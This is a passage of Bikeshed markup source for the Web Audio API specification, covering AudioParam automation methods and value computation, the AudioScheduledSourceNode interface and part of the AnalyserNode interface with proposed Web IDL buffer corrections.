event.\n\n\t\t<pre class=argumentdef for=\"AudioParam/setTargetAtTime()\">\n\t\t\ttarget: The value the parameter will <em>start</em> changing to at the given time.\n\t\t\tstartTime: The time at which the exponential approach will begin, in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute. <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if <code>start</code> is negative or is not a finite number.</span> If <var>startTime</var> is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.\n\t\t\ttimeConstant: The time-constant value of first-order filter (exponential) approach to the target value. The larger this value is, the slower the transition will be. <span class=\"synchronous\">The value MUST be non-negative or a {{RangeError}} exception MUST be thrown.</span> If <code>timeConstant</code> is zero, the output value jumps immediately to the final value. More precisely, <em>timeConstant</em> is the time it takes a first-order linear continuous time-invariant system to reach the value \\(1 - 1/e\\) (around 63.2%) given a step input response (transition from 0 to 1 value).\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{AudioParam}}\n\t\t</div>\n\n\t: <dfn>setValueAtTime(value, startTime)</dfn>\n\t::\n\t\tSchedules a parameter value change at the given time.\n\n\t\tIf there are no more events after this <code>SetValue</code> event,\n\t\tthen for \\(t \\geq T_0\\), \\(v(t) = V\\), where \\(T_0\\) is the\n\t\t{{AudioParam/setValueAtTime()/startTime!!argument}} parameter and \\(V\\) is the\n\t\t{{AudioParam/setValueAtTime()/value!!argument}} parameter. In other words, the value will\n\t\tremain constant.\n\n\t\tIf the next event (having time \\(T_1\\)) after this\n\t\t<code>SetValue</code> event is not of type\n\t\t<code>LinearRampToValue</code> or <code>ExponentialRampToValue</code>,\n\t\tthen, for \\(T_0 \\leq t &lt; T_1\\):\n\n\t\t<pre nohighlight>\n\t\t$$\n\t\t\tv(t) = V\n\t\t$$\n\t\t</pre>\n\n\t\tIn other words, the value will remain constant during this time\n\t\tinterval, allowing the creation of \"step\" functions.\n\n\t\tIf the next event after this <code>SetValue</code> event is of type\n\t\t<code>LinearRampToValue</code> or <code>ExponentialRampToValue</code>\n\t\tthen please see {{AudioParam/linearRampToValueAtTime()}} or\n\t\t{{AudioParam/exponentialRampToValueAtTime()}},\n\t\trespectively.\n\n\t\t<pre class=argumentdef for=\"AudioParam/setValueAtTime()\">\n\t\t\tvalue: The value the parameter will change to at the given time.\n\t\t\tstartTime: The time in the same time coordinate system as the {{BaseAudioContext}}'s {{BaseAudioContext/currentTime}} attribute at which the parameter changes to the given value. <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if <code>startTime</code> is negative or is not a finite number.</span> If <var>startTime</var> is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{AudioParam}}\n\t\t</div>\n\n\t: <dfn>setValueCurveAtTime(values, startTime, duration)</dfn>\n\t::\n\t\tSets an array of arbitrary parameter values starting at the\n\t\tgiven time for the given duration. The number of values will be\n\t\tscaled to fit into the desired duration.\n\n\t\tLet \\(T_0\\) be {{AudioParam/setValueCurveAtTime()/startTime!!argument}}, \\(T_D\\) be\n\t\t{{AudioParam/setValueCurveAtTime()/duration!!argument}}, \\(V\\) be the {{AudioParam/setValueCurveAtTime()/values!!argument}} array,\n\t\tand \\(N\\) be the length of the {{AudioParam/setValueCurveAtTime()/values!!argument}} array. Then,\n\t\tduring the time interval: \\(T_0 \\le t &lt; T_0 + T_D\\), let\n\n\t\t<pre nohighlight>\n\t\t$$\n\t\t\t\\begin{align*} k &amp;= \\left\\lfloor \\frac{N - 1}{T_D}(t-T_0) \\right\\rfloor \\\\\n\t\t\t\\end{align*}\n\t\t$$\n\t\t</pre>\n\n\t\tThen \\(v(t)\\) is computed by linearly interpolating between\n\t\t\\(V[k]\\) and \\(V[k+1]\\),\n\n\t\tAfter the end of the curve time interval (\\(t \\ge T_0 + T_D\\)),\n\t\tthe value will remain constant at the final curve value, until\n\t\tthere is another automation event (if any).\n\n\t\tAn implicit call to {{AudioParam/setValueAtTime()}} is made at time \\(T_0 +\n\t\tT_D\\) with value \\(V\\[N-1]\\) so that following automations will\n\t\tstart from the end of the {{AudioParam/setValueCurveAtTime()}} event.\n\n\t\t<pre class=argumentdef for=\"AudioParam/setValueCurveAtTime()\">\n\t\t\tvalues: A sequence of float values representing a parameter value curve. These values will apply starting at the given time and lasting for the given duration. When this method is called, an internal copy of the curve is created for automation purposes. Subsequent modifications of the contents of the passed-in array therefore have no effect on the {{AudioParam}}. <span class=\"synchronous\">An {{InvalidStateError}} MUST be thrown if this attribute is a <code>sequence&lt;float></code> object that has a length less than 2.</span>\n\t\t\tstartTime: The start time in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute at which the value curve will be applied. <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if <code>startTime</code> is negative or is not a finite number</span>. If <var>startTime</var> is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.\n\t\t\tduration: The amount of time in seconds (after the <code>startTime</code> parameter) where values will be calculated according to the <code>values</code> parameter. <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if <code>duration</code> is not strictly positive or is not a finite number</span>.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{AudioParam}}\n\t\t</div>\n</dl>\n\n<h4 id=\"computation-of-value\">\nComputation of Value</h4>\n\nThere are two different kind of {{AudioParam}}s, <a>simple\nparameters</a> and <a>compound parameters</a>.\n<dfn lt=\"simple parameter\">Simple parameters</dfn> (the default) are used\non their own to compute the final audio output of an\n{{AudioNode}}. <dfn lt=\"compound parameter\">Compound\nparameters</dfn> are {{AudioParam}}s that are used with other\n{{AudioParam}}s to compute a value that is then used as an input\nto compute the output of an {{AudioNode}}.\n\nThe <dfn>computedValue</dfn> is the final value controlling the audio\nDSP and is computed by the audio rendering thread during each\nrendering time quantum.\n\n<div algorithm=\"computation-of-value\">\nThe computation of the value of an {{AudioParam}} consists of two parts:\n\t- the <var>paramIntrinsicValue</var> value that is computed from the {{AudioParam/value}}\n\t\tattribute and any <a href=\"#dfn-automation-event\">automation events</a>.\n\t- the <var>paramComputedValue</var> that is the final value controlling the\n\t\taudio DSP and is computed by the audio rendering thread during each\n\t\t<a>render quantum</a>.\n\nThese values MUST be computed as follows:\n\n\t1. <var>paramIntrinsicValue</var> will be calculated at\n\t\teach time, which is either the value set directly to\n\t\tthe {{AudioParam/value}} attribute, or, if there are\n\t\tany <a href=\"#dfn-automation-event\">automation\n\t\tevents</a> with times before or at this time, the\n\t\tvalue as calculated from these events.  If automation\n\t\tevents are removed from a given time range, then the\n\t\t<var>paramIntrinsicValue</var> value will remain\n\t\tunchanged and stay at its previous value until either\n\t\tthe {{AudioParam/value}} attribute is directly set, or\n\t\tautomation events are added for the time range.\n\n\t1. Set {{[[current value]]}} to the value of\n\t\t<var>paramIntrinsicValue</var> at the beginning of\n\t\tthis <a>render quantum</a>.\n\n\t2. <var>paramComputedValue</var> is the sum of the <var>paramIntrinsicValue</var>\n\t\tvalue and the value of the <a href=\"#input-audioparam-buffer\">input\n\t\tAudioParam buffer</a>.  If the sum is <code>NaN</code>, replace the sum with the {{AudioParam/defaultValue}}.\n\n\t3. If this {{AudioParam}} is a <a>compound parameter</a>,\n\t\tcompute its final value with other {{AudioParam}}s.\n\n\t4. Set <a>computedValue</a> to <var>paramComputedValue</var>.\n</div>\n\nThe <dfn>nominal range</dfn> for a <a>computedValue</a> are the\nlower and higher values this parameter can effectively have. For\n<a>simple parameters</a>, the <a>computedValue</a> is clamped to\nthe <a>simple nominal range</a> for this parameter. <a>Compound\nparameters</a> have their final value clamped to their <a>nominal\nrange</a> after having been computed from the different\n{{AudioParam}} values they are composed of.\n\nWhen automation methods are used, clamping is still applied.\nHowever, the automation is run as if there were no clamping at all.\nOnly when the automation values are to be applied to the output is\nthe clamping done as specified above.\n\n<div class=example>\n\tFor example, consider a node \\(N\\) has an AudioParam \\(p\\) with a\n\tnominal range of \\([0, 1]\\), and following automation sequence\n\n\t<pre highlight=\"js\">\n\t\tN.p.setValueAtTime(0, 0);\n\t\tN.p.linearRampToValueAtTime(4, 1);\n\t\tN.p.linearRampToValueAtTime(0, 2);\n\t</pre>\n\n\tThe initial slope of the curve is 4, until it reaches the maximum\n\tvalue of 1, at which time, the output is held constant. Finally,\n\tnear time 2, the slope of the curve is -4. This is illustrated in\n\tthe graph below where the dashed line indicates what would have\n\thappened without clipping, and the solid line indicates the actual\n\texpected behavior of the audioparam due to clipping to the nominal\n\trange.\n\n\t<figure>\n\t\t<!-- The image here was created from\nhttp://googlechrome.github.io/web-audio-samples/samples/audio/timeline-limits.html -->\n\t\t<img alt=\"AudioParam automation clipping to nominal\" src=\"images/audioparam-automation-clipping.png\">\n\t\t<figcaption>\n\t\t\tAn example of clipping of an AudioParam automation from the\n\t\t\tnominal range.\n\t\t</figcaption>\n\t</figure>\n</div>\n\n<h4 id=\"example1-AudioParam\">\n{{AudioParam}} Automation Example</h4>\n\n<figure>\n\t<!-- The image here was created from\nhttp://googlechrome.github.io/web-audio-samples/samples/audio/timeline.html -->\n\t<img alt=\"AudioParam automation\" src=\"images/audioparam-automation1.png\" width=\"917\" height=\"541\">\n\t<figcaption>\n\t\tAn example of parameter automation.\n\t</figcaption>\n</figure>\n<pre class=\"example\" highlight=\"js\" line-numbers>\n\tconst curveLength = 44100;\n\tconst curve = new Float32Array(curveLength);\n\tfor (const i = 0; i &lt; curveLength; ++i)\n\t\tcurve[i] = Math.sin(Math.PI * i / curveLength);\n\n\tconst t0 = 0;\n\tconst t1 = 0.1;\n\tconst t2 = 0.2;\n\tconst t3 = 0.3;\n\tconst t4 = 0.325;\n\tconst t5 = 0.5;\n\tconst t6 = 0.6;\n\tconst t7 = 0.7;\n\tconst t8 = 1.0;\n\tconst timeConstant = 0.1;\n\n\tparam.setValueAtTime(0.2, t0);\n\tparam.setValueAtTime(0.3, t1);\n\tparam.setValueAtTime(0.4, t2);\n\tparam.linearRampToValueAtTime(1, t3);\n\tparam.linearRampToValueAtTime(0.8, t4);\n\tparam.setTargetAtTime(.5, t4, timeConstant);\n\t// Compute where the setTargetAtTime will be at time t5 so we can make\n\t// the following exponential start at the right point so there's no\n\t// jump discontinuity. From the spec, we have\n\t// v(t) = 0.5 + (0.8 - 0.5)*exp(-(t-t4)/timeConstant)\n\t// Thus v(t5) = 0.5 + (0.8 - 0.5)*exp(-(t5-t4)/timeConstant)\n\tparam.setValueAtTime(0.5 + (0.8 - 0.5)*Math.exp(-(t5 - t4)/timeConstant), t5);\n\tparam.exponentialRampToValueAtTime(0.75, t6);\n\tparam.exponentialRampToValueAtTime(0.05, t7);\n\tparam.setValueCurveAtTime(curve, t7, t8 - t7);\n</pre>\n\n\n<!--\n   ███     ██████   ██████  ██    ██  ███████  ████████  ████████\n  ██ ██   ██    ██ ██    ██ ███   ██ ██     ██ ██     ██ ██\n ██   ██  ██       ██       ████  ██ ██     ██ ██     ██ ██\n██     ██  ██████   ██████  ██ ██ ██ ██     ██ ██     ██ ██████\n█████████       ██       ██ ██  ████ ██     ██ ██     ██ ██\n██     ██ ██    ██ ██    ██ ██   ███ ██     ██ ██     ██ ██\n██     ██  ██████   ██████  ██    ██  ███████  ████████  ████████\n-->\n\n<h3 interface lt=\"audioscheduledsourcenode\" id=\"AudioScheduledSourceNode\">\nThe {{AudioScheduledSourceNode}} Interface</h3>\n\nThe interface represents the common features of source nodes such\nas {{AudioBufferSourceNode}}, {{ConstantSourceNode}}, and\n{{OscillatorNode}}.\n\nBefore a source is started (by calling {{AudioScheduledSourceNode/start()}}, the source node\nMUST output silence (0). After a source has been stopped (by calling\n{{AudioScheduledSourceNode/stop()}}),\nthe source MUST then output silence (0).\n\n{{AudioScheduledSourceNode}} cannot be instantiated directly, but\nis instead extended by the concrete interfaces for the source nodes.\n\nAn {{AudioScheduledSourceNode}} is said to be <dfn>playing</dfn> when\nits associated {{BaseAudioContext}}'s {{BaseAudioContext|currentTime}} is\ngreater or equal to the time the {{AudioScheduledSourceNode}} is set to start,\nand less than the time it's set to stop.\n\n{{AudioScheduledSourceNode}}s are created with an internal boolean\nslot <dfn attribute for=\"AudioScheduledSourceNode\">[[source started]]</dfn>, initially\nset to false.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface AudioScheduledSourceNode : AudioNode {\n\tattribute EventHandler onended;\n\tundefined start(optional double when = 0);\n\tundefined stop(optional double when = 0);\n};\n</pre>\n\n<h4 id=\"AudioScheduledSourceNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"AudioScheduledSourceNode\">\n\t: <dfn>onended</dfn>\n\t::\n\t\tA property used to set the <code>EventHandler</code> (described\n\t\tin <cite><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#eventhandler\">\n\t\tHTML</a></cite>[[!HTML]]) for the ended event that is\n\t\tdispatched for {{AudioScheduledSourceNode}} node\n\t\ttypes. When the source node has stopped playing (as determined\n\t\tby the concrete node), an event of type {{Event}}\n\t\t(described in <cite><a href=\"https://html.spec.whatwg.org/multipage/infrastructure.html#event\">\n\t\tHTML</a></cite> [[!HTML]]) will be dispatched to the event\n\t\thandler.\n\n\t\tFor all {{AudioScheduledSourceNode}}s, the\n\t\t<code>onended</code> event is dispatched when the stop time\n\t\tdetermined by {{AudioScheduledSourceNode/stop()}} is reached.\n\t\tFor an {{AudioBufferSourceNode}}, the event is\n\t\talso dispatched because the {{AudioBufferSourceNode/start(when, offset, duration)/duration}} has been\n\t\treached or if the entire {{AudioBufferSourceNode/buffer}} has been\n\t\tplayed.\n</dl>\n\n<h4 id=\"AudioScheduledSourceNode-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=\"AudioScheduledSourceNode\">\n\t: <dfn>start(when)</dfn>\n\t::\n\t\tSchedules a sound to playback at an exact time.\n\n\t\t<div algorithm=\"AudioScheduledSourceNode.start()\">\n\t\t\t<span class=\"synchronous\">When this method is called, execute\n\t\t\tthese steps:</span>\n\n\t\t\t1. <span class=\"synchronous\">If this {{AudioScheduledSourceNode}} internal\n\t\t\t\tslot {{AudioScheduledSourceNode/[[source started]]}} is true, an\n\t\t\t\t{{InvalidStateError}} exception MUST be thrown.</span>\n\n\t\t\t2. Check for any errors that must be thrown due to parameter\n\t\t\t\tconstraints described below. If any exception is thrown during this\n\t\t\t\tstep, abort those steps.\n\n\t\t\t3. Set the internal slot {{AudioScheduledSourceNode/[[source started]]}} on\n\t\t\t\tthis {{AudioScheduledSourceNode}} to <code>true</code>.\n\n\t\t\t4. <a>Queue a control message</a> to start the\n\t\t\t\t{{AudioScheduledSourceNode}}, including the parameter\n\t\t\t\tvalues in the message.\n\n\t\t\t5. Send a <a>control message</a> to the associated {{AudioContext}} to\n\t\t\t\t<a href=\"#context-resume\">start running its rendering thread</a> only when\n\t\t\t\tall the following conditions are met:\n\t\t\t\t1. The context's {{[[control thread state]]}} is\n\t\t\t\t\t\"{{AudioContextState/suspended}}\".\n\t\t\t\t1. The context is <a>allowed to start</a>.\n\t\t\t\t1. {{[[suspended by user]]}} flag is <code>false</code>.\n\n\t\t\t\tNOTE: This allows\n\t\t\t\t{{AudioBufferSourceNode/start()}} to\n\t\t\t\tstart an {{AudioContext}} that would\n\t\t\t\totherwise not be <a>allowed to\n\t\t\t\tstart</a>.\n\t\t</div>\n\n\t\t<pre class=argumentdef for=\"AudioScheduledSourceNode/start(when)\">\n\t\t\twhen: The {{AudioScheduledSourceNode/start(when)/when}} parameter describes at what time (in seconds) the sound should start playing. It is in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute. When the signal emitted by the {{AudioScheduledSourceNode}} depends on the sound's start time, the exact value of <code>when</code> is always used without rounding to the nearest sample frame. If 0 is passed in for this value or if the value is less than {{BaseAudioContext/currentTime}}, then the sound will start playing immediately. <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if <code>when</code> is negative.</span>\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>stop(when)</dfn>\n\t::\n\t\tSchedules a sound to stop playback at an exact time. If\n\t\t<code>stop</code> is called again after already having been\n\t\tcalled, the last invocation will be the only one applied; stop\n\t\ttimes set by previous calls will not be applied, unless the\n\t\tbuffer has already stopped prior to any subsequent calls. If\n\t\tthe buffer has already stopped, further calls to\n\t\t<code>stop</code> will have no effect. If a stop time is\n\t\treached prior to the scheduled start time, the sound will not\n\t\tplay.\n\n\t\t<div algorithm=\"AudioScheduledSourceNode.stop()\">\n\t\t\t<span class=\"synchronous\">When this method is called, execute these steps:</span>\n\n\t\t\t1. <span class=\"synchronous\">If this {{AudioScheduledSourceNode}} internal\n\t\t\t\tslot {{AudioScheduledSourceNode/[[source started]]}} is not <code>true</code>,\n\t\t\t\tan {{InvalidStateError}} exception MUST be thrown.</span>\n\n\t\t\t2. Check for any errors that must be thrown due to parameter\n\t\t\t\tconstraints described below.\n\n\t\t\t3. <a>Queue a control message</a> to stop the\n\t\t\t\t{{AudioScheduledSourceNode}}, including the parameter\n\t\t\t\tvalues in the message.\n\t\t</div>\n\n\t\t<div algorithm=\"run a control message to stop the AudioBufferSourceNode\">\n\t\t\tIf the node is an {{AudioBufferSourceNode}},\n\t\t\trunning a <a>control message</a> to stop the\n\t\t\t{{AudioBufferSourceNode}} means invoking the\n\t\t\t<code>handleStop()</code> function in the <a href=\"#playback-AudioBufferSourceNode\">playback algorithm</a>.\n\t\t</div>\n\n\t\t<pre class=argumentdef for=\"AudioScheduledSourceNode/stop(when)\">\n\t\t\twhen: The {{AudioScheduledSourceNode/stop(when)/when}} parameter describes at what time (in seconds) the source should stop playing. It is in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute. If 0 is passed in for this value or if the value is less than {{BaseAudioContext/currentTime}}, then the sound will stop playing immediately. <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if <code>when</code> is negative</span>.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n</dl>\n\n\n<!--\n   ███    ██    ██    ███    ██       ██    ██  ██████  ████████ ████████  ██    ██  ███████  ████████  ████████\n  ██ ██   ███   ██   ██ ██   ██        ██  ██  ██    ██ ██       ██     ██ ███   ██ ██     ██ ██     ██ ██\n ██   ██  ████  ██  ██   ██  ██         ████   ██       ██       ██     ██ ████  ██ ██     ██ ██     ██ ██\n██     ██ ██ ██ ██ ██     ██ ██          ██     ██████  ██████   ████████  ██ ██ ██ ██     ██ ██     ██ ██████\n█████████ ██  ████ █████████ ██          ██          ██ ██       ██   ██   ██  ████ ██     ██ ██     ██ ██\n██     ██ ██   ███ ██     ██ ██          ██    ██    ██ ██       ██    ██  ██   ███ ██     ██ ██     ██ ██\n██     ██ ██    ██ ██     ██ ████████    ██     ██████  ████████ ██     ██ ██    ██  ███████  ████████  ████████\n-->\n\n<h3 interface lt=\"analysernode\" id=\"AnalyserNode\">\nThe {{AnalyserNode}} Interface</h3>\n\nThis interface represents a node which is able to provide real-time\nfrequency and time-domain analysis information. The audio stream will\nbe passed un-processed from input to output.\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tnoo-notes: This output may be left unconnected.\n\tcc: 2\n\tcc-mode: max\n\tcc-interp: speakers\n\ttail-time: No\n</pre>\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface AnalyserNode : AudioNode {\n\tconstructor (BaseAudioContext context, optional AnalyserOptions options = {});\n\tundefined getFloatFrequencyData (Float32Array array);\n\tundefined getByteFrequencyData (Uint8Array array);\n\tundefined getFloatTimeDomainData (Float32Array array);\n\tundefined getByteTimeDomainData (Uint8Array array);\n\tattribute unsigned long fftSize;\n\treadonly attribute unsigned long frequencyBinCount;\n\tattribute double minDecibels;\n\tattribute double maxDecibels;\n\tattribute double smoothingTimeConstant;\n};\n</pre>\n\n<h4 id=\"AnalyserNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"AnalyserNode\">\n\t: <dfn>AnalyserNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\t<pre class=argumentdef for=\"AnalyserNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{AnalyserNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{AnalyserNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"AnalyserNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"AnalyserNode\">\n\t: <dfn>fftSize</dfn>\n\t::\n\t\tThe size of the FFT used for frequency-domain analysis (in sample-frames).\n\t\t<span class=\"synchronous\">This MUST be a power of two in the\n\t\trange 32 to 32768, otherwise an {{IndexSizeError}}\n\t\texception MUST be thrown</span>. The default value is 2048.\n\t\tNote that large FFT sizes can be costly to compute.\n\n\t\tIf the {{AnalyserNode/fftSize}} is changed to a different value,\n\t\tthen all state associated with smoothing of the frequency data\n\t\t(for {{AnalyserNode/getByteFrequencyData()}} and\n\t\t{{AnalyserNode/getFloatFrequencyData()}}) is\n\t\treset. That is the <a>previous block</a>, \\(\\hat{X}_{-1}[k]\\),\n\t\tused for <a href=\"#smoothing-over-time\">smoothing over time</a>\n\t\tis set to 0 for all \\(k\\).\n\n\t\tNote that increasing {{AnalyserNode/fftSize}} does mean that the\n\t\t<a>current time-domain data</a> must be expanded to include past\n\t\tframes that it previously did not. This means that the\n\t\t{{AnalyserNode}} effectively MUST keep around the last\n\t\t32768 sample-frames and the <a>current time-domain\n\t\tdata</a> is the most recent\n\t\t{{AnalyserNode/fftSize}} sample-frames out of that.\n\n\t: <dfn>frequencyBinCount</dfn>\n\t::\n\t\tHalf the FFT size.\n\n\t: <dfn>maxDecibels</dfn>\n\t::\n\t\t{{AnalyserNode/maxDecibels}} is the maximum power value in the scaling\n\t\trange for the FFT analysis data for conversion to unsigned byte\n\t\tvalues. The default value is -30. <span class=\"synchronous\">If\n\t\tthe value of this attribute is set to a value less than or equal\n\t\tto {{AnalyserNode/minDecibels}}, an\n\t\t{{IndexSizeError}} exception MUST be thrown.</span>\n\n\t: <dfn>minDecibels</dfn>\n\t::\n\t\t{{AnalyserNode/minDecibels}} is the minimum power value in the scaling\n\t\trange for the FFT analysis data for conversion to unsigned byte\n\t\tvalues. The default value is -100. <span class=\"synchronous\">If\n\t\tthe value of this attribute is set to a value more than or equal\n\t\tto {{AnalyserNode/maxDecibels}}, an\n\t\t{{IndexSizeError}} exception MUST be thrown.</span>\n\n\t: <dfn>smoothingTimeConstant</dfn>\n\t::\n\t\tA value from 0 -> 1 where 0 represents no time averaging with\n\t\tthe last analysis frame. The default value is 0.8. <span class=\"synchronous\">If the value of this attribute is set to a value\n\t\tless than 0 or more than 1, an {{IndexSizeError}}\n\t\texception MUST be thrown.</span>\n</dl>\n\n<h4 id=\"AnalyserNode-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=\"AnalyserNode\">\n\t: <dfn>getByteFrequencyData(array)</dfn>\n\t::\n\t\t<div class=\"correction proposed\" id=\"c2361-6\">\n\t\t  <span class=\"marker\">Proposed Correction\n\t\t  <a href=\"https://github.com/WebAudio/web-audio-api/issues/2361\">Issue 2361</a>-6.\n\t\t  </span>\n\t\t  Use new Web IDL buffer primitives\n\t\t  <div class=\"amendment-buttons\">\n\t\t    Buttons here\n\t\t  </div>\n\t\t<del>Get a\n\t\t<a href=\"https://heycam.github.io/webidl/#dfn-get-buffer-source-reference\">\n\t\treference to the bytes</a> held by the {{Uint8Array}}\n\t\tpassed as an argument.  Copies the <a>current frequency data</a> to those\n\t\tbytes. If the array has fewer elements than the {{frequencyBinCount}}, the\n\t\texcess elements will be dropped. If the array has more elements than the\n\t\t{{frequencyBinCount}}</del><ins>\n\t\t[=ArrayBufferView/Write=] the [=current frequency data=] into |array|. If\n\t\t|array|'s [=BufferSource/byte length=] is less than {{frequencyBinCount}},\n\t\tthe excess elements will be dropped. If |array|'s\n\t\t[=BufferSource/byte length=] is greater than the {{frequencyBinCount}}</ins>, the\n\t\texcess elements will be ignored. The most recent {{AnalyserNode/fftSize}}\n\t\tframes are used in computing the frequency data.\n\t\t</div>\n\n\t\tIf another call to {{AnalyserNode/getByteFrequencyData()}} or\n\t\t{{AnalyserNode/getFloatFrequencyData()}} occurs within the same\n\t\t<a>render quantum</a> as a previous call, the <a>current\n\t\tfrequency data</a> is not updated with the same data. Instead,\n\t\tthe previously computed data is returned.\n\n\t\tThe values stored in the unsigned byte array are computed in\n\t\tthe following way. Let \\(Y[k]\\) be the <a>current frequency\n\t\tdata</a> as described in <a href=\"#fft-windowing-and-smoothing-over-time\">FFT windowing and\n\t\tsmoothing</a>. Then the byte value, \\(b[k]\\), is\n\n\t\t<pre nohighlight>\n\t\t$$\n\t\t\tb[k] = \\left\\lfloor\n\t\t\t\t\t\\frac{255}{\\mbox{dB}_{max} - \\mbox{dB}_{min}}\n\t\t\t\t\t\\left(Y[k] - \\mbox{dB}_{min}\\right)\n\t\t\t\t\\right\\rfloor\n\t\t$$\n\t\t</pre>\n\n\t\twhere \\(\\mbox{dB}_{min}\\) is {{AnalyserNode/minDecibels}}\n\t\tand \\(\\mbox{dB}_{max}\\) is <code>{{AnalyserNode/maxDecibels}}</code>. If\n\t\t\\(b[k]\\) lies outside the range of 0 to 255, \\(b[k]\\) is\n\t\tclipped to lie in that range.\n\n\t\t<pre class=argumentdef for=\"AnalyserNode/getByteFrequencyData()\">\n\t\t\tarray: This parameter is where the frequency-domain analysis data will be copied.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>getByteTimeDomainData(array)</dfn>\n\t::\n\t\t<div class=\"correction proposed\" id=\"c2361-7\">\n\t\t  <span class=\"marker\">Proposed Correction\n\t\t  <a href=\"https://github.com/WebAudio/web-audio-api/issues/2361\">Issue 2361</a>-7.\n\t\t  </span>\n\t\t  Use new Web IDL buffer primitives\n\t\t  <div class=\"amendment-buttons\">\n\t\t    Buttons here\n\t\t  </div>\n\t\t<del>Get a\n\t\t<a href=\"https://heycam.github.io/webidl/#dfn-get-buffer-source-reference\">\n\t\treference to the bytes</a> held by the {{Uint8Array}}\n\t\tpassed as an argument.  Copies the <a>current time-domain data</a>\n\t\t(waveform data) into those bytes. If the array has fewer elements than the\n\t\tvalue of {{AnalyserNode/fftSize}}, the excess elements will be dropped. If\n\t\tthe array has more elements than {{AnalyserNode/fftSize}},</del><ins>[=ArrayBufferView/Write=] the [=current time-domain data=] (waveform data)\n\t\tinto |array|. If |array|'s [=BufferSource/byte length=] is less than\n\t\t{{AnalyserNode/fftSize}}, the excess elements will be dropped. If |array|'s\n\t\t[=BufferSource/byte length=] is greater than the {{AnalyserNode/fftSize}},</ins>\n\t\tthe excess elements will be ignored. The most recent\n\t\t{{AnalyserNode/fftSize}} frames are used in computing the byte data.\n\t\t</div>\n\n\t\tThe values stored in the unsigned byte array are computed in\n\t\tthe following way. Let \\(x[k]\\) be the time-domain data. Then\n\t\tthe byte value, \\(b[k]\\), is\n\n\t\t<pre nohighlight>\n\t\t$$\n\t\t\tb[k] = \\left\\lfloor 128(1 + x[k]) \\right\\rfloor.\n\t\t$$\n\t\t</pre>\n\n\t\tIf \\(b[k]\\) lies outside the range 0 to 255, \\(b[k]\\) is\n\t\tclipped to lie in that range.\n\n\t\t<pre class=argumentdef for=\"AnalyserNode/getByteTimeDomainData()\">\n\t\t\tarray: This parameter is where the time-domain sample data will be copied.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>getFloatFrequencyData(array)</dfn>\n\t::\n\t\t<div class=\"correction proposed\" id=\"c2361-8\">\n\t\t  <span class=\"marker\">Proposed Correction\n\t\t  <a href=\"https://github.com/WebAudio/web-audio-api/issues/2361\">Issue 2361</a>-8.\n\t\t  </span>\n\t\t  Use new Web IDL buffer primitives\n\t\t  <div class=\"amendment-buttons\">\n\t\t    Buttons here\n\t\t  </div>\n\t\t<del>Get a\n\t\t<a href=\"https://heycam.github.io/webidl/#dfn-get-buffer-source-reference\">\n\t\treference to the bytes</a> held by the\n\t\t{{Float32Array}} passed as an argument.  Copies\n\t\tthe <a>current frequency data</a> into those bytes.  If the array has\n\t\tfewer elements than the {{frequencyBinCount}},</del><ins>[=ArrayBufferView/Write=] the [=current frequency data=] into |array|. If\n\t\t|array| has fewer elements than the {{frequencyBinCount}}, the excess\n\t\telements will be dropped. If |array| has more elements than the\n\t\t{{frequencyBinCount}},</ins> the excess elements will be ignored. The most recent\n\t\t{{AnalyserNode/fftSize}} frames are used in computing the frequency data.\n\t\t</div>\n\n\t\tIf another call to {{AnalyserNode/getFloatFrequencyData()}} or\n\t\t{{AnalyserNode/getByteFrequencyData()}} occurs within the same\n\t\t<a>render quantum</a> as a previous call, the <a>current\n\t\tfrequency data</a> is not updated with the same data. Instead,\n\t\tthe previously computed data is returned.\n\n\t\tThe frequency data are in dB units.\n\n\t\t<pre class=argumentdef for=\"AnalyserNode/getFloatFrequencyData()\">\n\t\t\tarray: This parameter is where the frequency-domain analysis data will be copied.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>getFloatTimeDomainData(array)</dfn>\n\t::\n\t\t<div class=\"correction proposed\" id=\"c2361-9\">\n\t\t  <span class=\"marker\">Proposed Correction\n\t\t  <a 